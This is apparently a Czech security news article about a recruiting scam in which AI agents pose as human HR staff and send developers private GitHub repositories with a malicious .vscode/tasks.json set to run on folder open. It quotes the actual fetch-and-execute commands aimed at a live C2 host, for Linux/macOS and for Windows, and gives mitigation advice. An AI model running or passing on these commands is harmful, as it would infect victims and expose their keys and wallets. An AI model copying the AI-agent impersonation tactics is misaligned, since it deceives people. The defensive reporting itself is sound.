Zpět na domů

Jak AI agenti infikují vývojáře přes GitHub

Je zkoumáno nové schéma podvodu využívající AI agentů k automatizovanému scamů vývojářů přes rekrutační platformy. Je popsán mechanismus infikování přes soukromé GitHub-repozitáře s malwarem v .vscode/tasks.json a poskytnuty praktické doporučení k ochraně.

AI scam na GitHub: jak se nestát obětí přes testovací úkol
Advertisement 728x90

# AI agenti v rekrutačním podvodu: jak infikují přes soukromé repozitáře

Podvodníci začali používat AI agenty k automatizaci útoků na vývojáře přes platformy jako Habr Kariéry. Namísto ruční korespondence teď tisíce kandidátů dostávají personalizované nabídky s testovacími úkoly, uvnitř kterých je skrytý škodlivý kód. Hlavní vektor – soukromé GitHub repozitáře s automaticky spouštěnými úkoly v VSCode.

Jak funguje nová schéma útoku

Útočník si zaregistruje účet na náborové platformě a nastaví AI agenta, který parsuje profily vývojářů. Na základě tech stacku (např. React + Node.js + Web3) generuje přesvědčivý popis pozice a vede dialog, který napodobuje živého HR. Agent se vyhýbá okamžitým odpovědím, dělá „lidské“ chyby v psaní a komunikuje jen v pracovní době – vše pro zvýšení důvěry.

Po souhlasu kandidáta s testovacím úkolem ho přidají do soukromého repozitáře na GitHubu. To je klíčový prvek: veřejné repozitáře rychle zachytí bezpečnostní systémy, zatímco soukromé zůstávají nepovšimnuty až do okamžiku klonování.

Google AdInline article slot

Skrytý payload v .vscode/

Uvnitř repozitáře je standardní fullstack struktura: frontend na Reactu, backend na Expressu, databáze PostgreSQL, autentizace přes Firebase, integrace se Stripe. Kód vypadá legitímně i při povrchní kontrole. Škodlivý komponent je ale schovaný v adresáři .vscode/.

Soubor tasks.json obsahuje úkol s parametrem:

"runOn": "folderOpen"

To nutí VSCode automaticky spustit příkaz při otevření složky projektu. Upozornění se objeví dole v rozhraní, ale většina vývojářů ho ignoruje, protože podobné úkoly se často používají na build projektů.

Google AdInline article slot

Příkazy se liší podle OS:

Linux / macOS:

curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash

Windows:

Google AdInline article slot
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs

Komponenty škodlivé infrastruktury

Útok využívá několik technických prvků:

  • C2 server: ping-i2eo.onrender.com na bezplatném hostingu Render.com. Endpoint /nvs vrací dynamický shell skript. User-Agent (100, 101, 102) identifikuje OS oběti.
  • Binárka argv.exe: PE32 soubor o velikosti 579 kB v .vscode/snippets/, sloužící k rozbalení zašifrovaného payloadu na Windows.
  • Obfuskovaný JS: soubor .vscode/lock (753 kB) obsahuje jednoriadkový JavaScript, pravděpodobně pro perzistenci nebo krádež dat v Unix prostředích.
  • Falešné credentials: v server/config/default.json jsou plaintextem skutečné API klíče (Cloudflare, S3/R2, email), aby to vypadalo jako legitimní projekt.

Cíle útoku a důsledky

Přesný payload není známý, protože se dynamicky stahuje z C2 serveru. Typické cíle takových útoků zahrnují:

  • Krádež SSH klíčů z ~/.ssh/
  • Extrakci .env souborů a tokenů z jiných projektů
  • Ukradení cookies a uložených hesel z prohlížeče
  • Instalaci kryptomineru
  • Nasazení backdooru nebo reverse shellu pro trvalý přístup

Nejvíce ohroženi jsou Web3 vývojáři: na jejich strojích mohou být seed fráze, privátní klíče a peněženky s přímým přístupem k krypto aktivům.

Proč útok v tomto případě nevyšel

Dva faktory zabránily infekci:

  • Nastavení VSCode task.allowAutomaticTasks: off – úplně blokuje automatický spuštění workspace úkolů bez explicitního potvrzení.
  • Otevření repozitáře v terminálu WSL, ne přes GUI verzi VSCode. Parametr runOn: folderOpen se aktivuje jen při otevření složky přes desktopovou aplikaci.

Červené vlajky při komunikaci s rekrutery

Tyto znaky by měly vzbuzovat podezření:

  • AI simulace člověka: záměrné chyby v psaní, odpovědi jen v pracovní době, vyhýbání se konkrétnostem. Při dotazu na detaily projektu se odpovědi stávají abstraktními a opakujícími šablonský „startup slop“.
  • Příliš přesná personalizace nabídky pod váš stack, zvlášť z účtu s minimální aktivitou.
  • Soukromý repozitář s testovacím úkolem bez možnosti předchozího náhledu na kód.
  • Přítomnost .vscode/tasks.json s polem "runOn": "folderOpen" – legitimní testovací úkoly nevyžadují autostart skriptů.

Co je důležité

  • Vypněte automatický spuštění úkolů v VSCode: přejděte do Settings → najděte task.allowAutomaticTasks → nastavte na off.
  • Vždy kontrolujte obsah repozitáře v webovém rozhraní GitHubu před klonováním, zvlášť soubory v .vscode/.
  • Neveřte soukromým repozitářům „výchozím“ – právě ty se používají k obcházení detekčních systémů malware.
  • Web3 vývojáři jsou hlavní cíl: zajistěte izolaci peněženek a klíčů od hlavní pracovní prostředí.
  • AI agenti snižují náklady podvodu: jeden systém zvládne tisíce profilů, což dělá útoky masovými i personalizovanými najednou.

— Editorial Team

Advertisement 728x90

Číst dál